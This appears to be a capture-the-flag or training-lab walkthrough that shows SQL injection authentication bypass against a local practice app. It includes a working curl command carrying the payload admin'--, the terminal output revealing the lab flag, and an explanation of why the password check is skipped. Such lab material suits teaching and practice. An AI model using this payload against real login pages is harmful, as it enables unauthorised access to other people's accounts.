Authentication bypass
You don't need admin's password — you need the query to return admin's row. Close the username string, then comment out the rest of the query (including the password check) with --:
curl -s -d "username=admin'-- &password=x" http://127.0.0.1:8080/app/loginIn the terminal
student@vulntech:~$ curl -s -d "username=admin'-- &password=x" http://127.0.0.1:8080/app/login Welcome admin! Your secret: vulntech{sql1_auth_bypass_with_comments}
The query becomes ... WHERE username='admin'-- ' AND password='x'. Everything after -- is a comment, so the password is never checked. The app logs you in as admin and prints admin's secret. That is a full authentication bypass from one quote and two dashes.
Tip: Keep a space after
--: in SQL it starts a comment to the end of the line, and the trailing space keeps it valid.